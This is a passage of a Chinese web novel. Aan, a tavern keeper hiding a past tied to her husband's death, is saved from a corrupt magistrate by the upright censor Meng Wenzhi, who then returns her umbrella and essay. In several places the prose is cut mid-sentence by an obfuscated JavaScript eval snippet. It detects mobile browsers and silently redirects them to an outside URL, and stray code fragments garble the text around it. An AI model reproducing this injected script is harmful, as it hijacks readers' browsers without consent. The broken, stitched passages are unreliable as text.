《和离后她扔球死遁》 1. 巡按救堂 昭庆年间，丁卯夏，开封府出了桩命案。户部冯侍郎的儿子暴毙家中，引起言声啧啧。 那日，天刚放晴，空气中翻腾着泥土的腥湿。冯府送饭小厮提起粗布裤腿，避着水坑跳到门前，却在房檐下晾了半晌。 应该是少爷还在贪觉。小厮欲先离去，转身间，正迎上门缝中溜出的一股诡异气息。 这小厮神色突变，小心翼翼将食盒放在地上，拧着脸仔细推门，从拓宽的门缝中向里望去。 仅仅一眼，便吓得他三魂不见七魄。 只见少爷趴倒在房中央，干涸的红褐色血迹从床面延伸至此。 他一只手向前直直伸着，另一只则蜷在胸前，僵硬的指缝间，隐约有半截剪刀铜柄反着扭曲的光。 那光刺痛了来者双目，小厮两腿骤软，瘫坐在地上：“不……不好了，杀人啦！少爷死啦！快来人呐！” 然，堂堂户部侍郎的儿子，究竟何人敢杀？ 此事惊动府衙，几番调查后，终将最大嫌疑归于突然消失无踪的乔逸兰。 乔逸兰正是死者之妻，平日文静而内秀，冒然杀人，当有缘由。 冯侍郎却悲恼万分，哪管她的什么苦衷，当即拍案怒喝道：“我儿惨遭横祸，如此毒妇，万剐千刀亦不足惜！” 不久，冯家塘中竟浮出一具女尸，因面部受损，不能立刻认得。仵作受命前来，一番功夫后，终于确定了死者的身份，朝冯大人点了点头：“是她。” “不过……此人腹中尚有一子。” 冯侍郎闭上眼，胸口高高隆起又深深低伏，再睁眼时，目色沉了几分。 他道：“剖出此子，其余的扔去荒野。” 犯妇抛尸深山，冯家子孙入棺下葬。当人们都为此案终了而唏嘘时，永临县一家烛光昏黄的酒铺里，有个单薄的人影停下手中动作，暗暗松了口气。 “阿兰，夜深了，早些歇息吧。” 影子惊动，起身。 门框后渐渐露出半张秀丽的侧脸，叶芽一样细小的疤痕满盈着月光，嵌在眼尾。 阿兰转过身，黢黑的双瞳蓦然迎光亮起，终又消匿在两扇相合的木门之间。 一年后。 晨曦洒在永临衙署的乌漆大门前，青石板上的微尘被一声“冤枉”荡起，在金光中若隐若现。 阴寒的正堂内，衙役的棍棒忽而滞停在半空，将落未落之时，被制在其下的人抖喘着，身体如柳条一样软了下来。 “大人，再打下去，怕是会伤她性命。”衙役不忍，也不敢再动手，只得压着喉咙擅自向上启言。 知县皱眉以表不悦，却也懒得计较，朝着眼前这几个施刑的皂吏摆了摆手，后者识相地松开受刑人的肩臂，退步站在两旁。 阿兰失去固定，麻木的双膝早已无法支撑平衡，身体轻飘飘地向前扑倒，在地上划出了几个残破的手印。 知县乜着眼，扯起唇边一缕胡须，悠然开口：“堂中人，本官再问你一遍，你与刘祯，究竟是两情相悦，还是你以色行骗，只为谋他钱财？” 两个选择，无论怎样回答，都是绝路。 地上的人闻声，身子微不可见地抽动了一下，便再无任何回应。 一盏茶的功夫过去，坐在公案后的人终于按耐不住，打破了僵持。 “好，好，好。” 他合目倒向椅背，哼哼两声，斜嘴命令道：“继续打。” 衙役惊诧：“大人？” “打！” 朦胧的阳光已铺进堂内，渐渐够到了阿兰脚边。 水火棍似乎变得更沉更沉重了。 衙役重新攥紧了棍子，直到手上的关节开始因过度用力而泛白，才抬头与协作的人对上眼神。 刹那间，两根红黑各半的枣木棍子同时高扬，似巉崖即将崩塌。 千钧一发之际，一个高大的身影现在门前，伴随着无法藏匿的怒意，低呵道： “慢着。” 知县闻声，亦是压起了火。他离开椅背，眯眼往前瞧：“何人如此大胆，竟敢扰乱……” 瞧着瞧着，乍然浑身汗毛竖起，连滚带爬地跑了过去，飞跪在来者脚边：“孟大人，孟大人！您，您怎么来了？” 孟文芝拧眉，回撤半步。 见迟迟未有回音，知县小心试探着抬起脑袋，不想正对上那双波澜暗生的眼睛，狠狠打了个激灵，竟从袖中抖出一片黄麻纸来。 慌忙去捡时，却先一步被人踩住了边角。 “今日我若不来，还真不知大人这般威风。”孟文芝冷声说着，弯腰拾起那张纸，看了两眼。 竟是一份田产转让文约。 足足五十亩的土地，难怪他公堂不惜用刑逼嫁，原来是拿了刘祯的好处。 既然明的暗的都已知晓，孟文芝收好证据，抬头望向那蒙尘的“明镜高悬”匾额，一边踱步往前，一边细思他的罪行：“贪赃枉法、强行婚配……” 知县听得脊骨发麻，转身将头磕得砰砰响，顾不得三七二十一，胡乱哭道：“孟大人，下官也是为此女好哇，她她她若是从了刘祯，那可是要享尽富贵荣华，再无衣食之忧啊孟大人……” “放肆！” 孟文芝本就存着怒火，听他这番昧良心的狡辩，更是愤恼难抑，重重砸下惊堂木，立刻吓得那狗官连气都不敢再喘一下。 此时空气凝滞，针落有声。 待逐渐恢复冷静，孟文芝环视了四周，挥手下令，“先把人带下去，退堂。” 犯官押离，差役退散。一会儿功夫过去，公堂之中便仅剩两人。 阳光照在阿兰淡青色的裙摆上，沿着杂乱的褶皱寸寸前爬，像是要把这受伤的人尽数描摹。 孟文芝的目光也落了过去，他走到她的身侧，轻轻唤了声：“姑娘。” 不见动静，便又试探着叫了一遍她的名字：“阿兰？” 依然没有回应。 片刻斟酌后，他俯下身子，将阿兰抱了起来。 怀中人面若白纸，几缕青丝湿答答粘在脸颊和脖颈，犹如瓷器开片，绽裂在他瞳中。 阿兰无意识地朝后仰头，露出两缝失去眸光的眼睛。 那似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15081178|163483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎是浅浅的两池雾水。 一瞬间，胸口忽地气闷，恍惚感迅速从心底蔓延。 孟文芝调整了动作，直到她的后脑自然地倚在他的臂弯，才慌忙移目定神，将人稳稳拥在怀里，大步离去。 本以为从严处理相关人员，此案就算终了，不想，他还是低估了这次不公带给寻常女子的灾殃。 当天已至夜半，阿兰依然处于昏厥之中，非但没有按大夫所预期的那样醒来，反而状况愈发不容乐观。 孟文芝心中百般滋味。 作为巡按御史，亲眼看着平民百姓被残害至此，“后发制人，相机而动”的说辞倒显得无力了。 是他给了那狗县官太多机会，若他从庭审初现端倪时便站出来，少些谨慎，也许就不会有人平白受罪。 只为更多的事实证据，他竟纵容了恶的发生。本末倒置，当真糊涂！ 孟文芝追悔着，虽面色稍有怅惘，但理智仍在。 他拿来一条薄巾，轻轻掩在阿兰额前，而后舒掌覆了上去。 丝质薄巾的微凉手感很快被阿兰滚烫的体温取代，热意在手心不断汇聚，少时静止后，孟文芝悄然收回了手。 没过多久，合院的大门蓦地“吱呀”打开，惊起几声倦乏幽怨的鸟叫，一个人影快步走出，潜行在寂静的月色里。 返回时，便成了衔尾相随的两个影子。 后面的人费劲地跟了半程路，最终还是力不从心，被落下了距离。 “哎，”他提了提医箱，喘着粗气朝前道，“郎君，郎君稍慢点儿……” 孟文芝闻声回头，这才发觉大夫早已不在近旁，遂折身迎去，接过那沉甸甸的医箱，怀着歉意说：“是我着急了。” 老大夫摆了摆手，“怪不得你。家中有病者等待，怎能不急。” 天蒙蒙亮起，泛起一抹鱼肚白，空气泠冽如泉。 觅食的麻雀聚在丛中窸窣作响，转而却被踏在石板上的脚步声惊扰，一哄而散。 “不必太过担心，姑娘已经无大碍了。” 大夫忙活大半夜，此时终于能出来透透气，人也清醒了不少。他一边擦着鬓边薄汗，一边往外走：“虽说无碍，但伤情还是不轻，切记要让她好生休养。” “多谢大夫，劳您费神了。”孟文芝同样整夜没睡，将人送走后，独自站在庭中吹了好一阵冷风，连轴又进了书房。 阿兰从鬼门关里走了一遭，醒来时依然惊惶不安。 她警惕地打量着四周，单看室内装潢，也能知晓此处并非普通人家。 不远处的圆桌上，有一盏黑陶茶杯。阿兰注意到它后，满是病色的脸上露出越发难看的表情。 山水纹样，多为男性使用。 莫非……是那强盗刘祯将她带回了家？ 阿兰心道不好，身上冷汗出了一层又一层。她用尽全力撑起身体，却忘了膝上亦有累累伤痕，刚离开床，双腿就软下来，整个人栽倒在地上，发出一阵闷响。 她连忙将半声惊呼吞进腹中，不及将疼痛消化，便有人察觉异样，打开了房门。 2. 廉正官箴 来者将阿兰的狼狈模样尽收眼底。 她一时间无力站起，只好拖着身体靠向床边，眸光萤萤而动，防备地看着来者。 那是张陌生的面孔。 阿兰蹙额，诘问道：“你是何人？刘祯呢？”声音飘忽如云絮，语气却要比石头还硬上几分。 那人听在心里，安抚道：“姑娘无需紧张，刘祯与那县官都已被惩处。” 她神色稍有松缓，眉梢似落非落，似乎在揣测此话究竟有几分可信。 “敝人姓孟，是朝廷钦命巡按，如今代天子监察地方。” 听此言，阿兰瞳孔怃然一颤。 怎会是他？ 孟文芝…… 阿兰对他已有耳闻。 此人虽仅任职巡按御史一年余，却早已锋芒初露，是出了名的刚正不阿，执起法来，手段尤其严明，一个“斩”字，让无数恶徒吓得三魂俱散。 良善之人，敬他爱他，奸恶之人，对他避犹不及。 只因身上背着一条人命，自他出巡河南来到此县，阿兰便整日战战兢兢，连梦中都难以安稳，唯恐遇上他。 如今，他就这样站在自己面前。 而自己单单是浸泡他的视线中，就几乎要窒息。 若被他发现自己的过去—— 思绪一恍，阿兰两腮便白了几分。 忽然，搭着一方巾帕的手伸至她面前，阿兰惊魂未定，被吓得一抖。 孟文芝正看着她，想扶她起身。 阿兰有些惶恐，略过他的眼睛，转头将目光投在地上。 长睫抖动几番，终还是轻声推拒：“多谢孟大人，我自己可以。” 她本想借力于床沿起身，却牵动起满背淤伤，痛得眼前猝然花白一片，不得已咬牙倒吸了口冷气，僵住动作。 “你伤得重，还是不该逞强。”孟文芝见她额前现出青筋蹦跳，分明是在强忍不适，便露出浅淡的微笑，将掌心朝上，主动垫在阿兰手下。 隔着布料，阿兰碰到他的手。 一瞬间，他的掌窝、手指甚至是指间的缝隙都在脑中分明了。 斟酌过后，她终还是慢慢将其攥住。 那只手宽大而有力，阿兰感受到他的承托，顺势站起了身。 淡青色衣摆垂落，身下的褶皱渐渐平展。 阿兰梦中初醒般缩回了手，侧过脸，躲闪着对方关怀的目光，心口里除去些微的羞怯之意，更多的还是畏惧。 她低声道：“孟大人的恩情我定会感念，今日便不再叨扰了。”话音还未落，便已举步越过他身旁。 孟文芝见她分明是逃跑的模样，想来是过度受惊，心情还未能平复，拦不得，只好急切切问：“家中可有人能照顾？在我这里休养几天也无妨。” “不，不用了……”阿兰正踉跄着离去，仓促回转，几缕发丝掠至肩前，又随风扬动归为身后。 孟文芝走到门前，望着她连平路都难行的单薄身影，有些困惑。 他此番明明公正办事，无有私情，怎么好像比那贪色的刘祯、动刑的县官还要骇人。 阿兰回到家中，已无心力再管酒铺生意，昏昏沉沉地躺了几日，身体渐有好转，头脑却是越发糊涂了。 门前“砰砰”两声，把阿兰唤醒。 阿兰轻咳一阵，下了床，拖着疲软的身躯前去应门。 有个瘦高的少年站在门口，“阿兰姑娘，我是代我家公子来的。” “进来说吧。” 阿兰记得他。 十日前，这个少年来酒铺寻她，五两银子让她作一篇关于华襄山美景的文章，为他家公子登山出游时所用。 虽说华襄山就在永临县旁，但阿兰整日忙碌，还从未去过，只怕写出差错惹人不满，便要婉拒他。 “这个好办！” 少年把钱袋推过去，娓娓道来：“华襄山上别的都是寻常，唯独特在西面山腰有一方清潭，名曰长青。姑娘只知道这个就好。” 阿兰犹豫着点头，还是为生计应下了这门差事。 不过这阵子突发了事端，她竟险些忘了。幸得先前已写好大半，剩下的，加紧赶好才是。 少年进到屋中，也不落座，只说着：“公子让我提醒姑娘，明日就该将文章交给他了，到时还是我来取。” 阿兰转过身，思虑着缓缓颌首：“我已知晓了。” 时间并不宽裕。既如此，只能趁今日把全文作完。 待那家的僮仆离去，阿兰去桌台上寻先前所草拟的半篇文稿。 笔墨砚台具在，却是纸张不见踪迹。 阿兰细细回忆来，忽然想起，被县令传唤之日，临走前她心有挂念，将那文章折了又折，装进袖中，一并带走了。 如今，它应仍好端端地在原处。 阿兰寻来那日的衣服，来回翻找了几遍，竟没能发现。 莫不是掉在了某处？ 可无论掉在路上、衙门，还是……还是那人家中，都是她难能去寻的。 果真是屋漏偏逢连夜雨，祸不单行。阿兰忧上眉梢，只得在心中衡量起来，暗做打算。 若是一切重来，今晚定难以作完整篇。凭借记忆再写一遍，虽勉强可行，可原稿所在何处尚不可知，倘使被人捡了看了，倒会徒增麻烦。 正焦灼时，又有人敲响了门。 李二憨笑的脸从门后露了出来，他递过来一本书，说：“阿兰，俺来给你送东西。” 阿兰接过书，眼瞧着封面上《廉正官箴》四个字，有些疑惑，便问向李二：“李大哥，这是谁送来的？” “这可是咱们巡按大人送的，他见我往这边走，托我捎带给你。”李二骄傲地说着。 “他竟知我的住处。”阿兰摩挲着那封皮上细腻的素绫，低语道。 李二听了，更是挺起了胸脯，“是啊，孟大人体察民情，还知道俺是东边烙大饼的！这么一个好官，可是千年难遇啊。” 阿兰见他这般神色，也难得开颜而笑，不过却被淡白的唇色衬得人面容更倦了。 就连李二的马虎性子也能察觉，他一下子换上关切的表情，降了嗓门，小声说：“阿兰，俺听说前阵子你被那不要脸的刘祯带到衙门里了，他们没把你怎么样吧？” 阿兰先是一愣，随后垂眸摇头。 “别怕，要是受了什么委屈，就告诉大哥， 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或者说，其实根本无需谈赌。 孟文芝身兼要职，繁多公务在身，怎可能会有闲性去游山逛水，舞文弄墨。 胸口石头坠地，阿兰终于舒了口气，翻开纸来，字斟句酌地专心将文章补完，又端端正正地誊抄一份。 待一切完工，已至深夜。 话说孟文芝出巡来此，秉持的是黜奢从俭，恤民无扰的原则。住的是当地空出的旧宅，府上也无仆役佣人。整日里又公事傍身，忙得不可开交。 阿兰离开后，整整五日，他才得出空来，想起该将房间归于原样。 那房间并不乱，但既有人住过的痕迹，便需重新收拾一番。 啪嗒！ 一张被几番对折的纸从床上抖落，发出细小声响。 孟文芝注意到它，捡起详细查看。 纸上是一篇尚未作完的文章，以笔书写，虽不少涂画，但挡不住笔迹秀丽端庄，有习练过的痕迹。 认真观读几行后，不由得字字句句低念出声来。 文章赞叹华襄山的美景，用语精妙，文采斐然，即使未完篇，也能看出是好文章。 其中一方极美的清潭似在眼前。让人一时难以分辨，究竟是华襄山景色别致，还是作者笔力绝胜。 孟文芝回想起那日阿兰躺在这张床上，气若游丝。 想必，这是她无意遗落的。 是她所写吗？ 可她不过是当垆卖酒之女子，又何来这般能让文人学士都逊色的才华？ 孟文芝难得结论，亦无暇深思，当务之急是把此物归还。 他将薄薄一张纸按折痕复为原状，手边却没有能装载它的信封，只好去到书房，随便从桌上翻开一本早已看完的书，将其夹入其中。 可惜再寻不出闲暇登门还物，恰逢李二路过，见他往东边走，便将此书给了他，托他途径阿兰的酒铺时，将此物送去。 说来也巧，事情过去两天，好友许绍元便前来拜访。 3. 不为喝酒 许绍元年长他几岁，在洛阳求学时与他结识。 曾连中三元，本应大有作为，可惜官场不得意，步步退让，清心寡欲地做了几年太原府尹，又遭人陷害，只得主动卸去官职，回到永临老家。 好在人是个性子开朗的，虽几经坎坷，被埋没在这小小一方天地，倒也学会了随遇而安。 “文芝，近来可好？”许绍元春光满面地踏过门槛，朗声问着。 再见好友，孟文芝亦是欣悦非常，回应道：“一切都好。” 许绍元一边把所备的薄礼放在在桌上整理，一边笑着打趣：“你这巡按整日忙得连影儿都见不着，今日让我捉到本尊，也是走了运。” “事情琐碎，又想亲力亲为，自然就忙了。”孟文芝坦然解释着，为他斟茶。 许绍元自然接过杯子，轻啜了一口：“前阵听闻你在衙门大怒一番，将那县令官职给卸了，是为何事？。” 问及此，孟文芝不觉压下眉头：“他收人五十亩田产，在公堂上对无辜女子行逼嫁之事。” “这狗官是一贯的卑鄙，暗地里刮尽了民脂民膏，我也清楚……”许绍元叹了口气，静默片晌，突然如梦方醒地摆手道，“”我说这些做什么。不谈公事，不谈公事。” 孟文芝将他那神情变化看在眼里，知他想起官场往事，却又恼他这番甩手作罢的模样，只淡淡说了句：“许兄何苦如此。” “既已脱身宦海，老老实实做百姓，当然是想得越少越好，”许绍元佯装惬意，一气将那仍烫口的茶水闷进肚里，“更何况现下你在永临，我最是安心的。” “以后自会有人叫醒你。”孟文芝无奈，默默将茶水满上。 许绍元挪了杯子，笑着安慰他：“你瞧我如今多快活，无需为我忧心。” 孟文芝不看他的笑脸，也没再理他，拿了分奏报看起来。 “文芝？” “这便忙起来，连我都不管了？。” 许绍元年已不小，却从无兄长的架子，也不如孟文芝性格稳重。被撂在一旁，那话匣子自己就打开了。 “哦，对了！你可知我今日前来所为何事？”许绍元笑得开心。 有他在耳旁不休，这奏报上的字也难走进眼里。孟文芝只好抬头问他，“何事？” 许绍元神神秘秘地卖了好一会关子，见孟文芝已不愿再理会他，忙道：“不逗你，不逗你，这就告诉你……” 他向前探了探身子，降下音量，一字一句地问：“明日，我有三五好友要聚。” “就在华襄山，你可愿来？” 第二日。 都说春雨无常，自入春以来，永临已下了两三场雨。 不过俯仰间，小雨又轻轻绵绵地从空中飘洒下来。 阿兰单手扶牗，眯眼朝天望去。凉风携着微雨蹭在她温热的脖颈，带来一阵潮湿。 今日酒铺终于照常开门，却被如此一场春雨扰了生意。 烦恼之际，门口半卷的杏花布帘被人撩动，惊响了挂在帘后的一串铜铃。 阿兰离开窗台过去迎客，腰间的素色布裙还留着刚刚沾染的深色雨星。 “客官要些什么？” 客人在门口拍完肩上还未浸去布眼里的水滴，这才走了进来，囊着鼻子对她说：“给我温一碗黄酒来。” 黄酒…… 这两个字像从她记忆里溜走多时，又突然被捉回来似的。 阿兰一怔，呆愣愣地问：“当真要黄酒么？” “我都坐这儿了，还能是玩笑不成！”那客人摊开两只大手，表情精彩起来，像见了什么怪人。 阿兰终于回过神来，轻声细语应着：“好，好，这就给您温上。” 事实上，阿兰这副形象出现在酒铺确是十分违和，就好似霜花落进了染尘的粗陶杯盅。 她与同行那些热情圆滑的店家不同，站在柜台后面文绉绉凉浸浸的样子，客人凡看上两眼，喝酒的兴致马上便会被莫名浇灭几分。 自好心的原店主将这酒铺交与她接管，酒坛子里的酒就变了味道，生意一日不如一日。 从前爱酒的老顾客渐渐不来了，阿兰只好另寻出路，靠着腹中浅薄的才智，倒是吸引了些斯文儒雅的书生公子登门求诗文。 如今，真正坐下喝酒的，要么是途径歇脚的外地人，要么就是眼睛专往她脸上瞟的登徒子。阿兰也常常无奈。 她绕到榆木柜台后面，拆了坛新酒。也不知这坛黄酒味道能否有些进步…… 担忧着，舀出三勺滤进青瓷执壶，又将执壶坐进温碗，到五分热时，把酒倒出来上给客人。 客人单手端碗正要喝进，喉中却突然凝住。 他眯眼瞧了芹黄色的酒液，将鼻子探过去，皱着眉嗅了几嗅才浅浅地用嘴抿了一口。 “噗，呸呸呸！” 还未等客人说出话来，阿兰先在心中叹了一声。 果不其然，那客人像尝到什么可怕的东西，万分嫌弃地喊着：“快倒些水来！” 客人接了水，埋头喝了半碗才回魂，要向她讨个说法来：“黄酒竟能酿出这种味道，我看你还是早些关门换个生意做吧！” “实在对不住，这碗酒不收钱。”阿兰主动让步。 那人把碗一撂，站起身来就往外走，还不忘喃喃说着：“早看你模样就不像懂酒的人，怪我不信邪，白耽误了时间。” 她陪着笑把人送走，站在门口看那客人捂着脑袋走得匆忙，这才发觉雨势愈发大了。 淅沥雨声中，铜铃串子叮叮当当地响着，唤醒了静谧的暮色。 暖黄的灯光从酒铺雕花窗棂中蒙蒙地透出来，穿过花针般的倾斜雨丝，映亮了青石板上的水膜。 一双卷云鞋蓦然踏破水光，朝着灯火的方向走去。 孟文芝合了伞，单手掀起被雨打得半湿的杏花门帘，找到人后，才将湿漉漉的伞立在墙边，继续向里走。 他抬眼往高处看去。 阿兰正踩着板凳整理柜上的东西，一时顾不得回头。 孟文芝手中另有一把油纸伞仔细握着，人未开口，便先听见阿兰的声音。 “客官先坐吧，要喝些什么酒？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他去拿了那柄刚刚情急时被随手搁置在柜台的伞，带到阿兰面前。 阿兰还未反应过来：“这是？” “怪我耽误太久，姑娘不记得也是自然。” 他把伞递给阿兰，后者接了伞细细端详，伞上的白梅花瓣落进眼中，她才恍然想起那日。 半月前，那是同样一场突如其来的雨，酒铺空荡没有客人，阿兰便听着雨声，独自坐在柜台后面看书。 不知从何时起，门口轻飏的杏花帘子下多了半个人影。 阿兰起初觉察时，并未在意，只当是路过的行人暂时站脚。 手上的书已翻去小半，她又往帘下多窥了两眼，这才发现那半截身子就站定在那儿，再也不动了，想必是被雨困住不得前行，又不好进来打扰。 “郎君？”阿兰把书放下，朝外唤了一声。 那人寻声动了步子，把脚尖转过来：“姑娘。” “进来避雨吧，檐下风大。”阿兰的声音再次传出来。 “多谢姑娘，”那人隔着帘子拱手作揖，“我只在门外稍待一会，雨小了便离开。” 且听雨声，这雨也是一时半会小不了的。 4. 咏雪之才 阿兰随手从墙边拿了一把伞，撩开门帘。 她受不得冷风，只露出一半的身子，对他说：“郎君若是着急赶路，便先拿去用吧。” 那人两颊泛着淡淡的红晕，身上隐约散发出凛冽的酒气，风一吹，酒味就被阿兰嗅去。 他本已回身成原状，一听，又转了过来，“怎可使的？” 阿兰莞尔：“小事，这把你用就是。” 那人连眼尾都扑上了粉红，忙拱手道谢：“多谢姑娘。” 只见他急急撑了伞，就大步往雨中走去，阿兰也准备折身回屋。 谁知，他半路突然顿住，裹着风，一副毅然任谁都拦不住的架势，又走了回来，匆忙把她叫住，“姑娘！” 阿兰没料他会回头，门帘下只剩一小截扬动的裙摆，听他这一声，又探出身来，等他开口。 那人看着她，像是忘了什么极重要的事情。 却当真醉酒醉得糊涂了。下一步，不顾举着伞，将两手碰到一起。 手中的伞便在中间立着，挡在面前。他弯腰下去，伞也跟着一起倒了下去。 竟是万分认真地，又说了一遍：“多谢姑娘。” 再起来，背上落满了雨点子，他都没觉出有何不妥。 原来是懵了头还要再来道谢的。 见他酣醉至此，免不得被逗乐，阿兰连忙抬手挡住笑貌。又不忍让他一直傻呆呆在雨里站着，露出一双弯弯的眼睛来，对他说：“郎君，你方才已道过谢了。不必如此客气。” “啊，”那人在雨中静住片刻，好像神志突然清醒了一瞬，不好意思地笑道，“是，是，我竟忘了……” “去吧。”阿兰自知不该趁人酩酊取乐，很快藏了笑意，遣他离去。 “明日定来给姑娘还伞。” 这是他走时留下最后一句话，不过，却是食言了。 阿兰倒没将此事放在心上，时间久了，这人和伞也就都被渐渐淡忘了。 谁能知，距那天以时隔多日，还真有人来还伞。 她已不记得原先那人面孔，但怎也想不到，会是眼前这真真切切的一张脸。 孟文芝站在她面前，眸中闪动着灯烛之光：“下雨那天，我与旧友小酌几杯，应是醉了，伞被落在厢房，第二日酒醒……便忘了。” 这会儿，两人像是倒转了身份。 孟文芝今日着一身苍绿常服，气质少了些棱角，柔和许多。 此时加上这般朴拙的语气态度，阿兰终于能将那日醉酒呆傻的人和眼前的孟文芝合在一起，胆子也稍大了几分。 “不过是一把伞，孟大人何必雨中跑这一趟。” 孟文芝却坚定道：“延期已是有过，又岂能彻底失信。” 阿兰把伞握在手中，乌棕色的眼睛同样被灯火映得生辉，眼中那高大挺拔的身廓也愈发清晰。 “还有一事。”这会儿再次开口时，那醉酒的人和他又分开，不似同一人了。 “《廉正官箴》可有收到？” 阿兰知他在暗示她遗落之物，但并不想与他多聊此事，只去拿来书，硬生生接着话题，惭愧笑道：“这几日本想登门归还此书，却是晚了孟大人一步。” 孟文芝看出她的回避，接过书，用手翻动几下，发现书中所夹的纸果然已被取出。 他终于下定决心，将疑惑问出：“那篇文章，可是姑娘所作？” 其实，他来时就带着答案，心里已然默认了是她所作，只等她应下一声。 有世道和礼教约束，女子生活不易，她这般咏雪之才显得格外可贵。 他已想好，只等她应下一声，他就要问她是否甘于沽酒当垆度此生，若不甘，他愿意帮她，不让她的才华落空…… 可阿兰因他的直接怔住，表情僵硬了几分，一时没想到要如何回答，便先拖腔：“孟大人说的是……” “正是。” 她不知他为何在意那篇文章，但她该为买主多想几分，还是摇头否认下去。 孟文芝有些意外，但很快又恢复，继续说：“姑娘无需思虑其他，只说实话就好。” 阿兰看了他一眼，又低下头，艰难道：“孟大人，其实，那是我路上所捡……” 路上所捡？ 此番，他眼神复杂起来，似乎真真地信了，只看着她，不再说话。 阿兰趁机引开话题：“我也不知这是谁人所写，那纸我还好生保管着，不如先交给您，看您能否找到失者。” 孟文芝见她转身就要去拿纸，当即说了声：“不必。” 又是一阵沉默。 终于，他失望道：“我知道了。” 阿兰看他离去背影，匆忙拿起《廉正官箴》，说：“孟大人，您的书。” “此书便留在你这儿吧。” 孟文芝停下脚步，却没有回头，他撑起伞，消失在茫茫雨夜中。 认定的事就这样踏空，心下免不虚乏一阵。 今日早些，他同许绍元几人同登华襄，刚到那长青潭边，便下起了雨，不得已去亭中暂避。 单困在亭中，愈发无聊，有人提出对诗作乐，对着对着，就成了切磋文采。 孟文芝在亭下，眼巴巴望着那不远处的长青潭，只心想着原来不过是平淡无奇的一汪池水，与先前被文字留下的“似透玉般”的印象不甚相符。 既有些失望，说话的兴致也不多，便坐在一旁倾听。 直到，他听见有人诵出那日阿兰所掉落的文章。 那人口中的文章已经是全篇，一些词句因此时雨景有所删改，显得生涩了几分，但与其他人相较，仍极有灵气。 可为何一篇文章，能先后出于两人之手？ “甚好！王兄妙笔，竟将这潭水作得如此逸韵灵秀。”众人品味半晌，纷纷点头夸赞起来。 孟文芝也跟着微微一笑，却早看出端倪，只是不便问他详情。 傍晚时分，有人送来了伞，几人这才得以下山。互相道别后，孟文芝叫住许绍元，与他一道返回。 两伞并行，雨水哒哒哒地落在伞上，在头顶发出闷响。 “那人的确颇有才气。”孟文芝一直没说话，突然开口。 许绍元立即领会：“你说的可是王承？” “嗯。” 毕竟是多年好友，许绍元早就料到他会对此人感兴趣，笑道：“他今日却是大有表现，连你都注意到了。” 孟文芝还在思索，他盯着前方路的尽头，恍然醒悟，扭头问许绍元：“他的才气有几分真？” 许绍元一愣，面色尴尬起来：“这才第一次见面，你就看出来了？” “什么意思？”孟文芝越发觉得奇怪，反问着。 许绍元提醒道：“我本没想告诉你。出游只为放松，能听他们的好诗好文已是赚到，文芝，你还是不要深究。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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越看他那张脸，越恨他不争气：“收个好处还能露馅，你整日里干什么吃的？” 前知县刚被罢了官职，如今每天都要被她数落十遍百遍，已心力交瘁，只好仰脸讨好道：“娘子消消气，快睡吧，已经不早啦……” 女人别过头，一把推开他：“睡睡睡，就知道睡。你总不能以后就在家呆一辈子吧，若是这样，我可要改嫁了。” “诶，千万别！”前知县急急忙忙又凑到她身前，偷鸡摸狗一样悄地伸出两手环在她腰间，好言道，“”娘子，我已丢了官，可万万不能再丢了你。” 她紧绷的嘴终究没能忍住，弯出弧度来，又觉得不解气，翻着白眼转回头：“那你说，日后你要怎么办？” 前知县迅速思考，坑坑巴巴地说：“过一段，我再去巴结巴结那个孟文芝，看他愿不愿松口……” “过一段？”女人脸色又变了，伸手就要再抓他的耳朵，“”那要等到什么时候，家里吃穿用那个不花钱？你这官帽一摘，谁还赶着给我们送钱，家里这点可不够花的。” “娘子有何主意？”前知县耷拉着眉毛低声问。 女人眼睛滴溜溜一转，忽地变得又黑又亮，盯着他的脸：“要我说，你明日就去请他吃个饭。” 5. 蠢蠢欲动 她指了指衣柜，放低声量对他说：“柜子里最下面，右边”。随后便扬起头，看他蹑手蹑脚地去翻那柜子。 “娘子，是这个吗？”前知县摸到一个小匣子，拿了出来，同样小声道。 女人笑着勾勾手：“快拿来。” 他极轻盈地跳到床上，把匣子放在腿上。 女人从枕头下摸了钥匙出来，递给他：“把它打开。” 钥匙一旋，他翻开盖子，里面的宝贝正泛着莹润的光泽。 这两排金锭子，他连见都未曾见过一眼，就先被娘子藏了起来。 他双眼瞪大了，瞳珠被窗前稀薄的月光晕染，泛起和这些东西一样的光泽。 “不管多硬的人心，只要见到钱啊，都是软的。” “把这些都给姓孟的瞧瞧，看他还能装模作样到什么时候。” 一觉睡到巳时，前知县被女人踹醒：“懒猪，还不起床！” 那朦胧的睡意瞬间清醒，他连滚带爬地下了床，叫下人先去醉鲜楼占个房间，准备着酒菜。自己则迅速收拾了一通，出门亲自请那孟文芝。 孟文芝此时正在衙门为百姓事忙碌，前知县四处寻了半天，到了衙门，这才找到人。 他慢步走着，这毕竟曾是他办公的地方，如今再踏进，物是人非，免不得有些感伤。 但见还未有新县官上任，心里登时又舒服多了。 “孟大人。”前知县叫住孟文芝。 孟文芝显然不防会再看到他，半眯双目有些疑惑，却还是询问道：“找我何事？” 许是此人太过邪门，连近旁的空气都是冷嗦嗦的，他忍不住缩起身子，仰头说：“孟大人，这几日我自知犯了错，想亲自与您请个罪。” “不必，”孟文芝未听他说完，便移开视线，“你该向百姓请罪。” 